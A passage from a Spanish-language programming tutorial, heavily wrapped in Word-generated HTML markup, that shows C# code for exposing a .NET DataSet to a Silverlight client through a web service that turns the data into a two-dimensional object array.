<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataTable.Rows.Add(<SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: blue">object</SPAN>[] { <SPAN style="COLOR: #a31515">"celda 0-0"</SPAN>, <SPAN style="COLOR: #a31515">"celda 0-1"</SPAN> });<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataTable.Rows.Add(<SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: blue">object</SPAN>[] { <SPAN style="COLOR: #a31515">"celda 1-0"</SPAN>, <SPAN style="COLOR: #a31515">"celda 1-1"</SPAN> });<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataTable.Rows.Add(<SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: blue">object</SPAN>[] { <SPAN style="COLOR: #a31515">"celda 2-0"</SPAN>, <SPAN style="COLOR: #a31515">"celda 2-1"</SPAN> });<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataTable.Rows.Add(<SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: blue">object</SPAN>[] { <SPAN style="COLOR: #a31515">"celda 3-0"</SPAN>, <SPAN style="COLOR: #a31515">"celda 3-1"</SPAN> });<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">dataSet.Tables.Add(dataTable);<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">return</SPAN> dataSet;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Para solventar este problema, podemos crear un web service que exponga el método <B>getCustomerData</B>. En este caso, para hacerlo compatible con Silverlight, convertiremos el objeto <B>DataSet</B> en uno o varios <I>arrays</I> bidimensionales (uno por cada <B style="mso-bidi-font-weight: normal">DataTable</B> del <B style="mso-bidi-font-weight: normal">DataSet</B>) antes de enviar la respuesta al cliente Silverlight:<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> System;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> System.Data;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> System.Web;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> System.Web.Services;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> SilverlightTest.Web;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3>[<SPAN style="COLOR: #2b91af">WebService</SPAN>]<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>public</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> <SPAN style="COLOR: blue">class</SPAN> <SPAN style="COLOR: #2b91af">SilverlightInterface</SPAN> : System.Web.Services.<SPAN style="COLOR: #2b91af">WebService</SPAN><o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>[<SPAN style="COLOR: #2b91af">WebMethod</SPAN>]<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">public</SPAN> <SPAN style="COLOR: blue">object</SPAN>[][] getCustomerData(<SPAN style="COLOR: blue">int</SPAN> customerID)<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">{<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: green">//Utilizamos la lógica de la biblioteca de clases de .NET de escritorio</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: #2b91af; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>BusinessLogic</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> businessLogic = <SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: #2b91af">BusinessLogic</SPAN>();<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: #2b91af">DataSet</SPAN> dataSet = businessLogic.getCustomerData(customerID);<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;</SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">int</SPAN> x = dataSet.Tables[0].Rows.Count;<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-bidi-font-size: 9.5pt">int</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"> y = dataSet.Tables[0].Columns.Count;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: green">//Declaramos y demensionamos el Array</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>object</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>[][] dataArray = <SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: blue">object</SPAN>[x][];<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: SV; mso-bidi-font-size: 9.5pt" lang=SV>for</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: SV; mso-bidi-font-size: 9.5pt" lang=SV> (<SPAN style="COLOR: blue">int</SPAN> i = 0; i &lt; x; i++)<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: SV; mso-bidi-font-size: 9.5pt" lang=SV><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>{<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataArray[i] = <SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: blue">object</SPAN>[y];<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">}<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: green">//Rellenamos el Array con los datos del DataSet</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: SV; mso-bidi-font-size: 9.5pt" lang=SV>for</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: SV; mso-bidi-font-size: 9.5pt" lang=SV> (<SPAN style="COLOR: blue">int</SPAN> i = 0; i &lt; x; i++)<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: SV; mso-bidi-font-size: 9.5pt" lang=SV><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>{<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">for</SPAN> (<SPAN style="COLOR: blue">int</SPAN> j = 0; j &lt; y; j++)<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataArray[i][j] = dataSet.Tables[0].Rows[i][j];<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">return</SPAN> dataArray;<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN></SPAN><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt">}<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-bidi-font-size: 9.5pt"><FONT size=3>}<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Por último, desde el cliente Silverlight consumimos el <I>web service</I> de la siguiente manera tras haber incluido la referencia web (que hemos llamado <B>BusinessLogicWS</B>):<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
